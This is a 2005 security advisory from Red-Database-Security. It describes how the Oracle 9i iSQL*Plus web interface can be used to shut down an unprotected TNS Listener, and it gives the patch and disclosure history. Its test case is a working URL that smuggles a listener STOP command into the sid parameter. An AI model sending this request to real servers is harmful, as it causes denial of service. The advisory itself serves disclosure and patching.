Shutdown TNS Listener via Oracle iSQL*Plus ########################################## Name Shutdown TNS Listener via Oracle iSQL*Plus Systems Affected Oracle Database 9i Rel. 2 Severity Medium Risk Category Denial of Service Vendor URL http://www.oracle.com This advisory http://www.red-database-security.com/advisory/oracle_isqlplus_shutdown.h tml Author Alexander Kornbrust (ak at red-database-security.com) Date 7 October 2005 (V 1.00) Details ####### Oracle iSQL*Plus is a web interface to SQL*Plus. The web interface can be used to stop the (unprotected) TNS Listener. Affected Products ################# Oracle Database 9i Release 2 Testcase ######## http://server:3339/isqlplus?username=s&password=s&sid=%28DESCRIPTION%3D% 28ADDRESS_LIST%3D%28ADDRESS%3D%28PROTOCOL%3DTCP%29%28HOST%3Dlocalhost%29 %28PORT%3D1521%29%29%29%28CONNECT_DATA%3D%28COMMAND%3DSTOP%29%28SERVICE% 3DLISTENER%29%28USER%3DHacker%29%29%29&login=Login&action=logon ==> ERROR: ORA-12564: TNS:connection refused Excerpt from the listener.log: 28-OCT-2003 15:14:39 * (CONNECT_DATA=(COMMAND=STOP)(SERVICE=LISTENER)(USER=Hacker)(CID=(PROGRAM =c:oracleora92binisqlplus)(HOST=LOCALHOST)(USER=SYSTEM))) * stop * 0 Affected systems ################ Tested with Oracle Database 9.0.2.4. Patch Information ################# This bug is fixed with Critical Patch Update July 2005 (CPU July 2005). Oracle forgot to inform Red-Database-Security that this bug is fixed with CPU July 2005. All already published alerts are available on the web site of Red-Database-Security GmbH http://www.red-database-security.com/advisory/published_alerts.html History ####### 28-oct-2003 Oracle secalert was informed 29-oct-2003 Bug confirmed 12-jul-2005 Oracle published CPU July 2005 without informing Red-Database-Security that this bug is already fixed. 07-oct-2005 Red-Database-Security published this advisory © 2005 by Red-Database-Security GmbH - last update 7-october-2005